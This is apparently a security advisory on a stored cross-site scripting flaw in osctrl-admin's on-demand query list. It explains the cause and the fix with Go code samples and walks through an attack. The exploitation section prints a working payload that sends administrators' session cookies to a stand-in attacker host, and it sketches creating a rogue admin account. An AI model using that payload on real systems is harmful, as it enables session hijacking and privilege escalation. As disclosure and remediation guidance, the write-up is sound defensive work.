Stored Cross-Site Scripting (XSS) in osctrl-admin On-Demand Query List

osctrl is a scalable management solution for osquery, widely used to monitor endpoints and distribute configurations. The osctrl-admin component provides a web-based interface for administrators to interact with enrolled nodes, including the ability to run on-demand SQL queries against agents.

The vulnerability, identified as CVE-2026-28280, resides in the way osctrl-admin handles the display of historical on-demand queries. Specifically, the application fails to properly sanitize or encode user-supplied input in the query field before rendering it in the HTML Document Object Model (DOM) of the administration panel.

This flaw represents a Stored Cross-Site Scripting (XSS) condition (CWE-79). Unlike Reflected XSS, where the payload is part of the request, Stored XSS persists in the application's database. This creates a trap for higher-privileged users: an attacker with minimal permissions (ability to run queries) can plant a payload that automatically executes in the browser of any administrator who reviews the query logs.

The root cause of this vulnerability is the lack of output encoding during the template rendering process in osctrl-admin. Web applications typically handle user input in three stages: reception, storage, and rendering.

In the vulnerable versions of osctrl, the following sequence occurs:

1. Ingestion: The application accepts a raw SQL query string from a user via the on-demand query API or UI.
2. Storage: This string is stored verbatim in the queries database table. This is standard behavior; databases should store raw data.
3. Rendering (The Failure): When the osctrl-admin interface retrieves the query history to display the list, it inserts the query string into the HTML response. The templating engine or frontend logic treats the content as trusted HTML rather than literal text.

In Go web applications (which osctrl is), this often happens when developers explicitly cast a string to a type like template.HTML to prevent double-escaping, or when client-side JavaScript assigns data to .innerHTML without sanitization. This bypasses the default safety mechanisms of the templating system, allowing the browser to interpret injected tags (like <script>) as executable code.

The vulnerability exists in the view layer of the osctrl-admin service. Below is a reconstruction of the vulnerable pattern versus the secure implementation introduced in version 0.5.0.

Vulnerable Implementation

In the vulnerable code, the query string retrieved from the database was likely rendered directly into the HTML context without escaping characters that have special meaning in HTML (such as < and >).

// Vulnerable: Treating user input as safe HTML
// If 'q.Query' contains "<script>...", it executes.
type QueryData struct {
    Query template.HTML // DANGEROUS TYPE
}
 
func (h *Handlers) ListQueries(w http.ResponseWriter, r *http.Request) {
    // ... fetch query from DB ...
    data := QueryData{
        // Casting string to template.HTML bypasses auto-escaping
        Query: template.HTML(dbQuery.QueryString),
    }
    tmpl.Execute(w, data)
}

Patched Implementation (v0.5.0)

The fix involves ensuring that the data is treated as a string, forcing the Go template engine to apply context-aware encoding. This converts < to < and > to >, rendering the payload harmless.

// Fixed: Treating user input as a plain string
// If 'q.Query' contains "<script>...", it renders as text.
type QueryData struct {
    Query string // SAFE TYPE
}
 
func (h *Handlers) ListQueries(w http.ResponseWriter, r *http.Request) {
    // ... fetch query from DB ...
    data := QueryData{
        // No casting; template engine auto-escapes this string
        Query: dbQuery.QueryString,
    }
    tmpl.Execute(w, data)
}

Additionally, Pull Request #780 introduced stricter regex-based validation for other fields (like Hostname and Environment names) to prevent similar injection attacks in other parts of the admin interface.

An attacker can exploit this vulnerability to escalate privileges from a low-level user to a full administrator. The attack flow is as follows:

1. Reconnaissance: The attacker identifies that they have access to the "On-Demand Query" feature. This permission is often granted to junior analysts or automated service accounts.
2. Payload Construction: The attacker crafts a SQL query that is syntactically valid (to pass initial API checks) but includes a JavaScript payload in a comment or appended string.
   • Payload: SELECT version FROM osquery_info; -- <script>fetch('https://attacker.com/hook', {method:'POST', body:document.cookie})</script>
3. Injection: The attacker submits this query via the osctrl-cli or the web interface.
4. Trigger: The payload lies dormant in the database. When a legitimate administrator logs in and navigates to the "On-Demand Query List" to audit recent activity, the browser renders the list.
5. Execution: The <script> tag executes in the administrator's session context. The script can silently perform a background request (AJAX) to the osctrl user management API to create a new administrator account controlled by the attacker, or exfiltrate the administrator's session_token.

The impact of this vulnerability is rated as Medium (CVSS 6.1) primarily due to the requirement for the attacker to have initial access (PR:L or PR:H depending on interpretation of 'query' permissions) and the requirement for an administrator to view the page (UI:R).

Confidentiality Impact (High): Successful exploitation allows the attacker to read sensitive data accessible to the victim. This includes the administrator's session cookies (if not protected by HttpOnly), CSRF tokens, and potentially sensitive configuration data displayed in the admin panel.

Integrity Impact (High): The attacker can perform actions on behalf of the administrator. This includes modifying osquery configurations, deleting nodes, or changing enrollment secrets. In a worst-case scenario, the attacker could push a malicious configuration to all enrolled agents, achieving Remote Code Execution (RCE) on the managed endpoints.

Availability Impact (None): The vulnerability itself does not directly cause a denial of service, although an attacker could use their elevated access to disrupt operations.

The primary remediation is to upgrade the affected software. The vulnerability has been addressed in the official repository.

Official Patch

Upgrade to osctrl v0.5.0 or later. This release includes:

• PR #778: Implements proper sanitization for the on-demand query list.
• PR #780: Adds strict filtering for hostnames and environment names, reducing the attack surface for related injection vectors.

Temporary Workarounds

If an immediate upgrade is not feasible:

1. Restrict Access: Limit the number of users with "Query" permissions. Ensure that only trusted personnel can submit on-demand queries.
2. WAF Rules: Implement Web Application Firewall rules to inspect POST requests to the query endpoint. Block requests containing HTML tags (e.g., <script>, <iframe>, onmouseover) or common XSS vectors.
3. Operational Security: Administrators should avoid viewing the On-Demand Query List if they suspect a compromised lower-tier account, or view the raw database tables directly via a secure SQL client instead of the web UI.